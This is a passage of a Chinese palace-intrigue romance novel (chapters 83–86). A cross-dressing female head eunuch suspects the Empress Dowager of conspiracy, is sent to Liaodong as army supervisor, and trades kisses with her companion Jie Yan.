紧接着一口气,男子迅速吹灭了烛台。 待到一切归于寂静,片刻后,黑暗中才传来了男子的声音,“掌印,睡吧。” 第83章 第83章 辽东传来近况,兵书尚书刘易已经到达当地,并第一时间捉拿了冒领军功滥杀无辜的巡抚陈越,但形式比想象之中复杂,那群兵变的军民被敌国挑唆,并未能被真正被安抚下来,反而有投奔敌国之嫌,边境恐有一场战事一触即发。 朝堂之上亦因此事争论不下,投奔敌国很可能泄露大魏的军事机密,这群兵变的士兵需得尽快召回,如若召不回,宁可就地斩杀。 不少大臣认为刘大人腿疾受限,若是真正打仗,应当再派将领前去支援。至于安排谁,又是另外一场商讨争论。 除了前朝之事外,后宫近来也有变数,怡妃因产子后元气大伤、身体虚弱,小皇子被暂时安排在了太后的慈宁宫抚养照看。 得知这一消息后,白惜时隐隐觉得不妥,曾在四下无人之际向皇帝建议小皇子还是应当安排在生母身边。 天子闻言叹息一声,隐晦与白惜时提及了是为小皇子的平安着想。 原来,贵妃原先迫害皇嗣之事天子均是知晓的,一些后妃在刚得喜讯之后便被她喂下了堕胎药,只不过顾念着深情,也顾念着贵妃曾失去的那个孩子,皇帝没有追究。 但眼下担心以怡妃身体状况看护小皇子恐有疏忽,因此天子在太后的建议下,暂时将他送去了慈宁宫。 太后主动要求抚养小皇子? 白惜时听完隐忧反而更浓,太后如此是真的因为心疼小皇孙,还是,另有其他的目的? 不过眼下一切都只是揣测,没有真凭实据前白惜时亦不好阻挠皇家决策,连续几日经小太监观察,太后对小皇子亦疼爱有加,连端静公主都告诉江小锁太后极为喜爱这个小皇孙,未有丝毫怠慢。 那便姑且再看一看,待怡妃身体恢复,她再找机会规劝皇帝还由生母抚养一试。 几日之后,滕烈托人递回消息,猜测暗查祈王之事恐经人察觉,近来太后再未派人去过祈王府上。 因有隐忧在心,入夜时分白惜时偶尔于内堂之中静坐不语,在解衍的几次询问下,最终还是将人叫到暖阁,告知了此事。 事件重大,她亦想有个商量之人,而纵观身边,唯有解衍最为合适,也值得信任。 男子听完果然神色凝重,“掌印是怀疑定国公谋反与太后有关,二人里应外合,欲另立祈王为帝?” 白惜时也觉得自己的揣测有些过于大胆,但还是一点头道:“祈王胆小怕事没主见,是个极易操控之人,如若他登基为帝,权柄便会掌握在太后与定国公手中。” 太后不是皇帝生母,皇帝虽对太后尊敬有加,却对其族人未有重用,在滔天的权势面前,太后作出什么决定也都有可能。 何况乎,听闻她年轻之时亦是个有野心手段之人,不然不可能无所出还稳坐中宫之位。 且如此一来,太后针对白惜时便也同样解释的通,毕竟定国公谋反的消息便是经由她传回的京中,也相当于间接破坏了谋反计划。 解衍显然也想到了这一层,沉吟片刻道:“紧盯祈王,他是最有可能也最容易的突破口。” 白惜时:“不过太后近来似有所觉。” “那便放缓步调,逼迫太紧反易生变。定国公既已被处决,短时间内太后亦掀不起什么风浪,掌印不必急于一时。” 解衍:“不过,警防太后因此陷害,尤其是通过贵妃和秉笔。” “咱家知道。” 与解衍商讨一番,心中亦定然几分,此事的确不宜操之过急,否则狗急还要跳墙,何况乎两位皇亲国戚。 结束对话,又是入夜时分,解衍自那日白惜时胃疼之后,留宿于司礼监的频率比往常高了一些,像是担心她的胃疾还会复发。 不过留宿的频率高了,举止却比原先还要规矩守礼,白惜时如今脱个外袍他都要不动声色移开视线,原先怎么没见他这般自觉? 就因为…… 看了男子一眼,白惜时将外袍挂在衣架之上,继而走出暖阁,又叫小太监送了一些宵夜过来。 小太监这次送来的是两碗云吞面,招呼解衍一起坐下,白惜时按照往常习惯刚拿起装辣椒油的罐子,手臂便被人按住。 解衍:“掌印,胃病方愈,夜间不宜食辣。” “……” 已经好了四、五日了。 何况这碗云吞面不放辣椒油便少了灵魂。 以往除了孟姑姑显少有人会来管她,主要应当也不敢,现在好了,多了一个管事的。 白惜时属于典型的好了伤疤忘了疼,因而并未放弃辣油,反示意了眼男子,“你不是说孟姑姑有东西带给我,是什么?” 知她有支开自己的意图,解衍看了眼白惜时,眼中无奈。 “拿过来看看” 解衍起身去了,男子一转身,白惜时便开始倒辣油,一时不慎倒的还有些多,不过没关系,她向来不怕辣。 片刻之后,解衍拿了一个红木匣子回来,接过来打开一看,入冬为免皮肤干燥,是孟姑姑特意为她自制的一些润肤膏,且为了避讳白惜时的身份,并没有什么脂粉味,她已经用了许多年。 掀开盖子,自然伸出手指抹了一些在手背,均匀涂抹开,继而凑近鼻间一闻,还是那股熟悉的松枝清香,白惜时笑了笑,重新将润肤膏收好放了回去。 拿起筷子准备继续吃面,然而旁边一道视线始终不容忽视,白惜时侧过头去,便见男子正怔然望向自己,一副整个人都没缓过来的模样。 白惜时承认,她方才的动作确实不大阳刚,有那么一些女气,这源于她觉得解衍已经有所察觉,因而没再掩饰,放任自由。 但男子眼下的反应多少让她有些不痛快,怎么,她就只能舞刀弄枪,不能岁月静好? “很违和?”放下筷子,白惜时问了一句。 被这一句话唤回了神,掩饰住方才有些失速的心跳,解衍很快否认,“不违和。” “不违和便吃饭。”示意他转回视线,白惜时亦开始吃那碗红通通的云吞面。 不过解衍接下来还是不大对劲,至少再看她吃那碗放满辣油的面也没再阻拦,男子有些心不在焉,吃着吃着,还会偶尔盯着白惜时看一会,然而当白惜时回看过去,他又移开视线,佯作无事发生。 奇奇怪怪。 太监不是人,不能擦润肤膏?瞧给他震撼的! 没再理会解衍,白惜时一口气吃完面条,不过越吃到后头那辣味越上头,待吞咽下最后一口,额头已经沁出一层薄汗,嘴唇此刻也红肿的厉害,一伸手,便想要拿起茶壶给自己倒杯水。 但很不凑巧,那壶中的水太烫,喝下去只会适得其反。 顾及着掌印风姿,毕竟是自己支开对方倒了那么多辣椒,眼下又一把鼻涕一把泪喊辣属实没什么面子,遂没唤解衍帮忙,白惜时直接起身对男子说了一句,“咱家出去一趟。” 本意是出去问问小太监有无凉水,可外头的水也刚刚烧开,不过小太监灵机一动,很快从后头抱来了一方冰盒,预备将储存的冰块放入滚水中降温。 白惜时嫌麻烦,索性挑了一小块冰直接送入口中,唔~冰冰凉凉倒是解辣。 冬夜里,司礼监不管是内堂还是暖阁均烧着地龙,因而一块碎冰含在口中亦不觉得多冷,待白惜时缓过了那阵劲后再到暖阁,解衍也已恢复了往常的从容,此刻正盯着白惜时吃完的那碗红油汤面蹙眉不语。 听见脚步声,男子抬起头来,“掌印方才去了何处?” 白惜时不甚在意的,“有些热,吃些东西降降温。” 注意到白惜时手中冒着凉气的瓷碗,解衍:“掌印吃了什么?” “冰块,滋味尚可,你可要来点?” 这些冰块带回来其实是预备倒入壶中降温,眼下辣是有所缓解,但又觉口渴,白惜时不过想再喝杯温水。 但男子听完很快敛起神色,起身走了过来,“冰块?” “刚吃完辣,复又吃冰,掌印的胃如何承受得了?” …… 不得不承认,白惜时这人是有些反叛精神在身上的,张茂林、孟姑姑这种长辈管束她倒还好,但一轮到年纪比她小的解衍,她就喜欢逆着来,原先没准备再吃的冰此刻也捡了一块送入口中,当着解衍的面,就这么慢条斯理含了进去。 在白惜时看来仅为了表现不配合的动作,但在旁人观来,却又是另外一副光景…… 红唇轻启,贝齿一咬,缓然便将那块透明的冰晶包入口中……而这一幕犹如慢动作映入眼帘,解衍瞳孔微缩,整个人都僵硬了片刻。 “掌印,吐出来。” 片刻之后,手掌伸到白惜时的唇边,男子微一凝眉抛却杂念,连带着面上都添了几分正色肃然。 垂目看了眼近在咫尺的掌心,白惜时又去反观男子神色,不得不承认,解衍眼下的反应其实有些趣味,正经干净的像个心无杂念的僧侣。 不过莫名又叫人想要千方百计揭开他这副面具,走入内心去仔细甄别查探,看他又是否真如表现出来的这般清心寡欲。 白惜时突然觉得自己有些恶趣味,一边胡思乱想,一边继续含着冰块在口中打转。 唔~其实眼下她也觉得冰了些,若解衍能够妥协或是再劝一劝,她姑且便顺水推舟吐出来得了。 然而下一刻解衍却出乎白惜时意料,修长的手指探过来改为触向白惜时的唇齿,看那架势竟还存了想要直接将冰块取出来的意图。 迅速将头望偏向一侧,白惜时觑了眼男子,“你净手了没?” 虽其实知道他净过,但白惜时还是要这样问,如此大胆,竟敢将手直接往她的嘴里放! 然而解衍此刻仍旧目光澄澈,仿若全无旖念,望进白惜时一双漂亮的眼睛里,专注又执着地问了句,“净过手,就可以?” 说话间,男子手指不经意带过唇瓣,是湿润的触感,还透着些冰块的凉。 “那必然也是不可。”抬眼,白惜时对上男子的目光。 糟了,这小子怎么越看越顺眼? “……那要如何,掌印才肯吐出?”迎着她的视线缓然又靠近了些,解衍与白惜时保持齐平,盯着那一双嫣红的唇,又温声询问了一句。 “你先把手拿开。”白惜时侧头,难得觉得有些不自在。 “拿开怎么取?”漆黑的眼底划过一道暗芒,男子缱绻的嗓音在白惜时耳畔响起。 “咱家自己会……” 然而一句话尚未说完却已经被人截胡,解衍确实听话的将手撤离,可紧接着,身姿颀长的男子倾身而来,白惜时面前便出现了一张放大的俊脸,呼吸交融间,一个柔软且带着温热的东西覆了上来,堵住了她接下来的未尽之语。 掌印,既然不能用手,那便换一样方式取出来罢。 第84章 第84章 白惜时也会有错愕愣神的时候,比方说现在,解衍就这么猝不及防的覆了上来,暖阁中还燃着焚香,但此刻男子的气息仿佛更胜一筹,就这么侵袭而来,带着一股薄阳晒过后的皂角香气。 抬起眼睑,撞入一双宛若浸了墨的乌眸,唇齿交缠间,什么东西从白惜时的舌尖上滚过,继而男子重新退了回去,拉开了些距离,口中含着从白惜时那里夺过来的冰块。 冰块尚未化开,裹着一层对方口腔中的温热,解衍微垂着头,鸦黑色的睫羽遮挡住视线。 …… 大意失荆州——这是白惜时反应过来后,脑袋里第一时间出现的五个字。 唇舌间的勾缠湿濡仿若尤在,刻意忽略掉那陌生又叫人心烦意乱的触感,白惜时就这么盯着解衍,色厉内荏,压下那一阵乱了节奏的起伏,等着看男子能给他一个什么样的解释。 然而解衍退回后便不再说话,也不看她,兀自含化那一颗本不属于他的冰,半晌之后,喉头滚动,暖阁之中又太静,这一声吞咽之声便显得尤为明显。 随着这一声,白惜时心脏都跟着漏跳了半拍,迟疑之下一伸手,推上对方的肩膀,倒是说句话啊。 眼下这种局面都是他造成的,怎么,敢做不敢当了? 在白惜时的动作下,男子此刻终于抬眼,凝视了对方片刻,继而一抿唇,吐出了令白惜时都老脸一红的两个字——“辣的。” 谁让他说这个了? 她嘴巴里出去的冰块,她能不知道是什么味道吗? 莫名觉得眼前之人,怎么说呢……又纯情又有他的侵占性,只不过后者被解衍很好的隐藏,只偶尔能叫人察觉端倪,但是这种反差,不得不说,又精准的踩在了白惜时的某个点上。 敏锐多思,晦涩隐忍,但乖。 移开下意识停留在对方唇上的视线,白惜时清了清嗓子,“除了这个,你可还有别的要解释的?” 解衍人畜无害,“没有。” 没有? 他竟然跟她说没有?那这件事就这么糊里糊涂混过去了? 白惜时有心诘问,又不想显得自己没见过世面,一个短暂的亲吻就能叫她丢了掌印的沉稳,遂换了一种方式。 “那你也别吃了,吐出来。” 她不能吃,他就能吃?天底下没有这样的道理。 然而在白惜时目光下,解衍并没有吐,反而专注凝视着对方,像是为防逼迫,男子改为直接将口中的冰块咬碎。 下颌骨线条紧绷流畅,咯吱咯吱,一下接着一下撞击在白惜时的心房……那声音还挺清脆,她差点给他气笑了。 白惜时接下来也没有再同解衍理论,而是步步紧逼走了过去,预备以其人之道还治其人之身,效仿解衍方才的动作将冰块直接从他口中取出。 紧盯着对方的眉眼,然而白惜时进一步,解衍却退让一步,再进一步,解衍回望住朝自己而来之人,继续后退……直退到罗汉床边,退无可退,男子才在白惜时的倾身逼近下,怔然凝固,一瞬间坐了下来。 得逞的笑了一声,白惜时开始去掰解衍的嘴,男子后仰避让,她便俯身向前,在打斗这一块白惜时显少有败绩,何况解衍不可能会还手,她自是不达目的誓不肯罢休,最后,在不知不觉中……把解衍按倒在了床榻之上。 等意识到这个姿势的诡异,为时已晚,四目相对之下,尤其是看见对方那一双错愕的眸,白惜时在心中暗骂自己一声,怎么像个强取豪夺的恶霸? 事已至此,硬着头皮,她还是将手探了进去。 出乎意料的是这一关解衍竟然还算配合,并没有咬紧牙关,因而她就这么顺利闯进、长驱直入……然而探寻一圈什么也没寻着,很显然,冰块早就已经被嚼碎融化了。 此刻食指和中指唯被一圈湿润柔软包裹着,烫的心尖都有些发颤,待再看清自己的两指是如何搅入对方口中,一种酥痒之感顺着那一处很快蔓延至全身,双眼一闭,白惜时觉得自己整个人都不大好。 这是什么禁忌又暧昧的场面? 解衍他怕不是故意的吧?冰块吃完了不知道说一声? 移开了目光,白惜时第一次觉得浑身发热还紧绷,正兀自平复那一阵陌生的慌,直到解衍用牙齿轻轻咬了下她,她才意识到自己的手指还没从对方口中拿出来。 …… “咬我作甚?” 意识到这种氛围不对,再继续下去恐怕还要更加不对,白惜时佯作若无其事收回手指,却在腿侧不由自主的收紧,要揭开这一层暧昧,她决定先从诘问对方开始。 “你方才怎么想的?劝我不要吃冰就用这种方式?” 撑着手肘坐起身,察觉白惜时微蹙的眉头,男子沉默片刻,望向对方的双眸带着让人看不懂的情愫,“没多想。” “是本能。” 本能的急于让她将冰块吐出,也本能的想要靠近,亲吻,继而大脑没有多余的时间思考,便就这样覆了上去。 “本能?”听完觉得自己找回了些气势,白惜时重复了一遍,“我本能还想揍你呢,你看我揍了吗?” 闻言,解衍眼中带了些笑意,坐直身躯,继而抬臂握住白惜时的两手,带着她便朝着自己打了过来。 男子本意是想白惜时消气,可没成想两手突然被人同时拿起,白惜时原先就前倾的重心随之不稳,然后……就这么直直朝前扑了过去。 ……扑到了解衍的胸膛之上。 男子似也有一瞬间的怔愣,没想到会是这样的局面,不过回过神来后便很快就揽住了白惜时,一只手在腰间收紧,一只手搭于后背,一下一下的拍着,像是给她顺气,又像是担心她方才撞疼,当然了,白惜时觉得还可能也是怕她真的起来揍他,给自己先安抚住。 那股好闻的皂角味又开始无孔不入的侵袭鼻间,是很干净的味道,一如解衍的为人。这一世以来好像还未曾被人这样用心安抚过,白惜时便也任由自己停留了一会,她想要记得这个瞬间。 这样即便以后分开了,记忆犹在。 没错,白惜时仍然觉得她和解衍没太可能天长地久,因为她是人人皆知的司礼监掌印,恢复女子身份的可能性极小,二十岁的解衍愿意陪着她,那三十岁、四十岁的解衍呢?他会不会也想要一个家,想要儿女绕膝? 但这是白惜时没办法给他的,因此也一直没有给解衍一个答复。 但眼下心里的平衡已经偏向一侧,她亦有所动摇,是否要因为不确定的未来,而放弃眼下的可能? 起身推开解衍的时候,白惜时又恢复了一如往常的模样,所有思绪束于心中,叫人看不出迹象。 解衍细心观察着她的神色,继而也正色道了一句,“掌印,若是方才觉得冒犯,对不住。” 他指的是那一吻,白惜时若是不喜,他便不会再这般贸然冲动。 “对不住?” 按下方才纷杂的心绪,掀开眼睑朝他望去,白惜时眼下已经完全看透了解衍,“呵,嘴上说着对不住,但保不齐下次还敢。” 解衍听到这句就笑了,是想忍住但又没忍住的那种笑,白惜时的言语中没有反感之意,他便卸下心里那层不确定,用笑容回答白惜时,对,没错,还敢。 只要她不排斥厌恶,他就敢。 被男子笑的又是一阵心烦意乱,他不知道他这样还挺招人的吗?拿起手边的毯子一把丢给对方,“别笑了,大半夜的,睡觉!” 说完便起身准备离开,这个时候男子在身后问了句,“掌印,胃还疼吗?” “疼。” “怎么回事?”原本轻松的玉面郎君立刻敛了笑意,跟着一起站了起来,“可是方才冰块的原因?” “不是冰块。” 白惜时停步,好整以暇望向对方,“是你。气的咱家胃疼。” 不过一句玩笑之语,没想到解衍竟当了真,当白惜时走进卧房的时候,男子亦脚步随后,目光停留在白惜时的腹部。 …… “无事。”没办法只得再解释一句。 继而手指移到玉扣之上,白惜时没有直言让他回避,而是作势就要宽衣解带,“关门,咱家要就寝了。” 见状神色一凛,下意识喉结滚动移开视线,顶着微红的耳廓走出去后,解衍很是贴心的将门从外头给白惜时掩了起来。 从镜中窥见男子的一系列举动,白惜时抑制不住嘴角上扬,还以为他多大胆子呢,有本事他从里头关门。 小狗。 — 第二日,白惜时与解衍一起去了御前,而在早朝时期间,白惜时亦得知了前朝和后宫的两件大事。 一件是朝廷已经决定另派将领支援辽东,而此人经由天子钦点已确定为锦衣卫指挥使滕烈。除此之外,还需另派一名监军,人选尚未定夺下来。 二来则是俞贵妃有孕。这是继她小产之后时隔四年怀上的又一个孩子,天子因此高兴不已,眉眼间皆是舒展之态,贵妃与他的孩子,同其他妃嫔与他的孩子,在天子心中分量是完全不一样的。 白惜时得知贵妃有孕,同样也感欣慰,这么多年了,上天总算弥补了贵妃当年的遗憾。 不过不日就将出征,监军的人选当中,白惜时发现,自己竟也赫然在列。 第85章 第85章 天子原先便曾提及,若是安排滕烈前往辽东,白惜时与其配合是较为合适的人选,二人性格互补,不过当初以为只是试探玩笑之语,没想到如今倒有可能成真。 但身为司礼监掌印,本不该由他承担监军之责,朝中政务繁忙,白惜时每日经手奏表无数,内廷一应事宜也由他统领,一来可替天子分忧,二来内廷眼下也井然有序,若白惜时离开,其他人皇帝不适应,也不能完全信任,这是天子的犹豫之处。 不过监军人选当中,朝臣举荐最多的还是白惜时。 得知消息后,白惜时倒没自恋到觉得自己在朝廷之中威望已然如此之高,在她看来,举荐她的人分为两类。 一类是真心实意,认为他曾任东厂厂督,年少时又有过监军经历,能以大局为重,不是个会与主将行麻烦、唱反调之人,因而合适。 第二类则是白惜时猜测太后、贵妃两方也在想方设法将自己调出。 白惜时一离开,周子良自然会代管司礼监,权柄旁落,太后受益。俞贵妃如今视白惜时为眼中钉,白惜时的离开,西厂替她行事也会方便许多。 且听闻贵妃此次怀孕,乃为被贬的谭永生敬献的药方,此药方从方术之士得来,且方士还云,贵妃腹中胎儿与庚寅年九月出生之人相克,出生之前不宜冲撞相见。 很凑巧,白惜时正是庚寅年九月出生。 不知他是真有这样的运气与贵妃腹中胎儿八字不合,还是谭永生记恨自己,故意让方士如此告知贵妃。 天子正在斟酌用人,这日傍晚待朝臣退去,便单独将白惜时留了下来,本以为要商讨的是监军人选,没想到天子却与她谈及了另外一件事。 天子谈及的,是俞贵妃腹中的胎儿。 几名御医都禀报天子,俞贵妃因上次重病一场过后,身体底子差,此一胎本就不稳,恐难以保全,而若是强行保下也会对贵妃的身体有损。 天子得知后即使再不舍,亦不打算再要这个孩子,相比于皇嗣,他更在乎贵妃的性命。 何况乎他已经有了一位皇子。 而众所周知,孩子舍弃的越早,对贵妃的身体伤害也会越小。 但贵妃知道皇帝的想法后日日以泪洗面,坚决不从,表示哪怕死都要保住腹中的胎儿。 说完这些,皇帝疲惫的靠坐于龙椅之中,闭目半晌没有说话,未完的政事还摊放在案几之前,但俞贵妃之事显然更令他忧心劳神。 如果是其他嫔妃,哪怕是皇后,天子都能做到说一不二,说不要这个孩子就不要这个孩子,没有商量的余地。 但是对贵妃,他做不到。 白惜时陪伴在侧,同样是良久无言。 确实以理性思考,贵妃现在放弃这个未成形的孩子最为明智,但她精神上受得了吗?期盼了四年的孩子终于到来,一朝舍弃不要,如何忍心? 且这个胎儿在天子看来只是一个孩子,但在俞贵妃乃至整个俞家看来,是承载着家族兴衰命运的。 这让她如何劝解,如何代替他人做决定? 索性皇帝也并未等着白惜时的答复,好像只是心中烦闷,找个人说一说话而已。 “你俞姐姐是不是太倔了?”隔了好一会,天子长叹口气,用如是口吻去问白惜时。 一如回到了从前的废院,还是他们相依为命的四个人。 闻言牵动嘴角,白惜时心中亦颇多感慨,过了片刻才答道:“人之常情。” 今时今日,身份转换,天子的身边不再只有俞姐姐一人,太后扶持皇后,怡妃有皇子傍身,站在贵妃的角度,她有她的坚持和难处。 天子听完后捏了捏眉心,没有再说话。 直到白惜时要退下之时,皇帝才从龙椅之中抬眼,略带些疲惫叫住她,“惜时,去趟辽东罢。” 白惜时本在他心目中就是合适人选,何况他如今也已卸任东厂厂督,不存在所谓的“厂卫联合”之嫌。 加之方士所言,一来宁可信其有不可信其无,天子想要尽量让贵妃安心。二来也是思及万一孩子保不住,以免贵妃迁怒白惜时。 天子是个重感情之人,尤其是陪他从废院之中走出来的三人,白惜时望向此刻龙椅之中的天子,领会了他的层层考量,遂一低头,恭声应诺。 只是她此番与滕烈同去辽东,不知离开之前,可要将太后与祁王之事提前禀报。 白惜时监军的消息很快在朝廷内外传开,不日便将启程,解衍得知消息后当天便来到了司礼监,眉目紧锁,是一副隐忧之态。 但当时顾及着堂内还有旁人,并未有多说什么,直到午间时分外人都散去,才与白惜时一前一后步入了暖阁之内。 瞧着对面之人凝重的脸色,白惜时倒显得比他还轻松些,“你这是什么表情,咱家是去监军,又不是去上战场。” 解衍:“掌印看到危险,可是会置之不理之人?” 若遇敌军袭击,白惜时定然会选择协同应战,而不会逃跑保命,这出于解衍对白惜时的了解。 白惜时听完吊起眉梢,“你这意思是看不起咱家,觉得咱家会输?” “不是。”解衍否认,继而停了下来。 这一停便是许久,再开口时,终是将压在心底的疑问第一次抛出,男子望向白惜时道:“但掌印若是受伤,要如何自处?” 她没办法就医,这是解衍最担忧的症结所在,战场上刀剑无眼,白惜时如何能确保完全不受伤生病?可随军之人中没有孟姑姑,到时候谁可为她医治? 从二人对视中移开视线,白惜时:“你就不能盼着我点好?尽盼着咱家受伤。” 但男子仍然凝视着她,并没有被她这句话打发敷衍。 终究是要…… 白惜时叹了口气,算了,反正他已有所察觉,确实也没有什么隐瞒的必要。 “我自会注意,不会让自己陷入那般境地。” 这一句,相当于白惜时亲口承认。 即便早有预料,但当她就这样说出口,解衍心中仍如七八个罐碟同时打翻,顷刻间五味杂陈。 她到底受了多少苦,又经历过多少次提心吊胆?才能够走到今日,才能够像眼下这般视艰难险阻如无物? 解衍很快做下决断,“我会向皇帝禀报,争取同去辽东。” 闻言白惜时却一摇头,“我还另有件事要交与你。” “我与滕烈离京之后,知道祈王之事的就只有你和蒋寅,蒋寅未必有机会及时面圣,若是察觉异动,你需得第一时间向天子禀报。” 白惜时思来想去,还是决定暂且不向天子禀报此事,尚属于猜测阶段,如若有误,牵连波及都会甚广。 但不禀报,并不等于就听之任之,毫无防备。 听到“我与滕烈”四字,男子莫名额角一跳,思及此次与白惜时同行之人,本就蹙起的眉头眼下直接变成了一个“川”字。 解衍:“我知晓。” 瞧着解衍的模样有些好笑,每次只要一提到滕烈,她觉得男子整个气质都变了,变得……有棱有角,收起了那份温和。 上前拍了拍他,白惜时:“别愁眉紧锁了,咱家预备收拾些东西,你眼下若是没事,就过来帮忙一起。” 解衍:“……掌印告诉我在哪,我来罢。” 不得不承认,有解衍收拾,白惜时基本上没什么出力的机会,待午休结束,她赴辽东要带的的一应物件也大致归整好。 二人一起回到内堂后,这时候便听汤序来报,说是指挥使到访,想要与掌印商量下出行前的一应事宜。 眼下一听到滕烈,白惜时都会下意识朝解衍望过去,果然,男子眼神凝了几分,只不过顾及着汤序同在,并未显露其他情绪。 汤序出去后,很快,内堂的红漆木门被再次推开,逆着光,高大冷肃的男子阔步而来,原先舒展的眉目在看到堂内另一个人之时,亦逐渐冷了下来。 …… 这两人看上去还挺“惺惺相惜”的,你瞧视线这不就交汇上了,只不过交汇还不如不交汇,也没听谁率先跟谁打个招呼。 都不招呼,那便只能白惜时打招呼,“正好都在,喝杯茶罢。” 没有再叫汤序进来,白惜时从案几前走下,给两位一人倒了一杯,分别推至两边。 不过解衍并没有落座,“我便罢了,下午御前还有事,晚些再来寻掌印。” 防备滕烈归防备,但出征前的一应事宜主将与监军商讨是理所应当之事,解衍不可能在这种时候分不清主次,何况他下午也确实有事需去御前处理。 白惜时:“喝完茶再走?” 她记得解衍从中午过来陪她收拾到现在,汗流了不少,倒是连口水都没喝。 闻言看了眼那茶碗,解衍:“算了。” 刚烧开的水,眼下还太烫。 白惜时也发现了那温度不宜入口,“可要叫人给你拿些冰来?” “不用。” 神色在对方的询问下逐渐温和,说完侧首张望了一眼,解衍直接走回案几前,将白惜时那杯尚未喝完的冷茶拿了过来,继而倒了大半在自己的茶碗中,仰头,随着喉结滚动,一饮而尽。 将这一幕看在眼里,滕烈肃然危坐表情未变,但仔细观察,便发现棕墨色的眸子里已然凝结出两片冰花。 将喝干的茶碗重新扣回桌面,仿若没有任何不妥,解衍看了一眼滕烈,才朝白惜时露出浅笑,“掌印,走了。” 第86章 第86章 解衍离开后,司礼监内堂之中便只剩下白惜时与滕烈二人,看着那杯剩下的冷茶和空茶碗,白惜时佯作无事发生,淡定拿走。 清了清嗓子,于滕烈对面坐下,白惜时又示意了眼过烫的茶水,“指挥使可要来些冰?” “不必。” 棕墨色的瞳仁中藏着令人看不透的情绪,得知白惜时担任监军时的喜悦,此刻亦被这盏冷茶浇熄下去大半。 解衍方才的举动,滕烈没有错过白惜时一刹那间表露出来的情绪,诧异有之,无奈有之,就是没有排斥和不悦。 白惜时是默许的,这意味着什么? 滕烈本能的没有再深究下去。 男子很好的收敛起情绪,望过来时,又是那副不苟言笑的模样,公事公办与白惜时讨论后日出征的一应事宜,结束后,起身望了一眼屏风之后。 跟着男子的视线望过去,白惜时解释,“那后头是咱家的暖阁和卧房。” 暖阁。 滕烈不知道当时是以何种心情,问出了这样一句话,“家中正准备给祖母重新修缮一间,掌印若是方便,可否借容一观?” 他想要一试,在汤序口中不曾让外人踏足,但解衍却可以进出之地,如若是他,白惜时会是什么样反应。 白惜时果然犹豫了,眼中流露出迟疑之色,滕烈亦因为她的这一表情,捏着令牌的骨结微微凸起。 不过片刻之后,对方还是一点头道:“可以。” 滕烈亦是白惜时认为可以绝对信任之人,二人算得上是生死之交,且暖阁之中并无隐私之物。若是为了祖母想参考一下暖阁构造陈设,白惜时认为没有什么不妥。 在白惜时看来只是略一权衡之后的“可以”,但在滕烈听来,却似是足以消融冰雪的一捧热泉,发紧的指节放松下来,男子眉宇随之舒展。 “倒是忘了,定好了启程前还要再去趟兵部,今日怕是来不及。” 又看了眼屏风之后的暖阁,滕烈:“下次罢,眼下寒冬已过大半,替祖母修缮亦需开春,等到从辽东回来不迟。” 无意去打扰涉足白惜时的私人禁地,滕烈想要的,自始至终不过白惜时的一个答案。 眼下答案已经得到,他便不会再叫她为难。 男子走后,白惜时趁着下午的时间将司礼监的一应事宜交待妥善,她不信任周子良,自然要将一些重要事务交给了汤序和一位随堂太监打理,并提醒如遇大事,可通过东厂传书信与她。 汤序等人走后,白惜时又招来江小锁与赵岳,对两位小徒弟嘱咐一番,直言有拿不准的情况不要贸然做决定,可以找元盛、汤序帮忙,并提到若是端静长公主有困难,记得能力范围内及时帮衬。 待该交代的都交代完,也到了晚膳时间,用完饭后没过一会,解衍亦从御前回到了司礼监。 只不过知晓白惜时要远赴辽东,解衍胸腔中总像是压着一块大石头,因此言语也越发少了起来。 白惜时还在翻看随行物件,查找有无遗漏,想到那几样“重要”的隐私之物,瞥了眼身旁的男子,见他正沉浸在一种名为“忧郁”的情绪中,便没打扰他的沉浸式忧郁,不动声色走进了卧房。 搬了把椅子正欲踩在上头,不想一回头男子已然跟了进来,见白惜时是要去柜子最上方拿东西,遂拦了下来,“掌印不用这般麻烦,我去拿便是。” 解衍身量够高,若是踮脚再一伸手,确实可以够到最上层的物件。 然而白惜时老脸一红,执意要自己爬凳子,“咱家自己来。” 她平日里就藏在最里头,以免旁人容易发现。 看白惜时坚持,解衍没再阻拦,不过果断舍弃了椅凳,似是也舍弃了一直以来的克制,他竟就这样直接将白惜时抱了起来。 抱高了,让她去拿上头的东西。 “……!” 身躯倏然一下腾空,白惜时怔怔回头望向身下之人,这小子今日果然受了不小的刺激,行事也越发强势起来。 不过思及后日就要离开,二人确实会有很长一段时间见不了面,也理解男子当下的感受,其实白惜时又何尝没有所觉? 是在一起朝夕相处了一年多,也是会令她想念之人。 乍然分开,亦不知自己会不会不适应,白惜时遂没再说什么,就着男子的高度将上头的束胸等物拿了下来。 解衍起先神色如常,但等看清白惜时拿在手中的是何物,脸色“刷”的一下变得通红,浑身亦僵硬起来,连带着视线都跟着一起飘开。 没想到是这种东西。 白惜时拿好之后见解衍还没有放下自己的意思,遂拍了下他的肩,待男子反应过来,环抱的双臂下意识松开,然后……白惜时就这么垂直的落了地。 他倒是也别松的这般迅速,好歹悠着点。 后知后觉自己放开的太过突然,解衍亦转过头来查看白惜时的状况,只是这一查看,便将人抵在了衣柜之上,与男子之间形成了一个封闭的空间。 “没什么事。”察觉到二人靠得太近,白惜时欲推开他,但是竟没有推动。 解衍检查完没有退开,不知是不是即将分别的情绪作祟,男子就这么顺势双臂撑在白惜时两侧,垂着头,目前缱绻地看向她。 抬眼便撞进那一双黑白分明的眸,自有款款情愫从里头倾泻而出,白惜时就在要被感染之际,突然视线一偏,问了男子一句,“为何耳朵会这般红?” 解衍没说话,闻言,略带青涩地瞥了白惜时的右手一眼。 那手上拿着的,正是白惜时的束胸等物。 白惜时一见他这模样就笑了,继而一偏头,示意了眼仍他撑在两侧的手,“知道害羞,怎么不知道松手?” 男子声线低醇,“不想松手。” 想要将她禁锢在这里,哪也去不了。 似是看出了他眼中带着些暗黑的想法,白惜时仰起头,漫不经心的斜靠在衣柜之上,“哦,那想要做什么?” 二人这样的姿势,实在太适合亲密接触,而在白惜时问完这句话之后,解衍亦用实际行动告诉了她答案。只不过预料到男子会倾身覆过来,在解衍即将吻上唇瓣之际,白惜时及时一侧首,那吻便擦着白惜时的唇角,最终落在了她的脸颊之上。 解衍深吸口气,克制住情动,改为用额头抵上白惜时,鼻尖同样对着鼻尖。 如此呼吸交融,反倒更加亲密,温热的气息喷薄在白惜时的鼻唇之间,有些痒的同时,也让她生出一股遗憾,有时候反应太快其实不是什么好事,早知道方才便不躲了。 寂静的卧室之中,偶尔传来一声灯芯炸开之声,二人维持了好长一段时间这样的姿势,闭着眼,仿佛能听见彼此的心跳,白惜时也是在这一刻更加确信,她是喜欢解衍的,喜欢解衍的靠近,也喜欢他的亲吻。 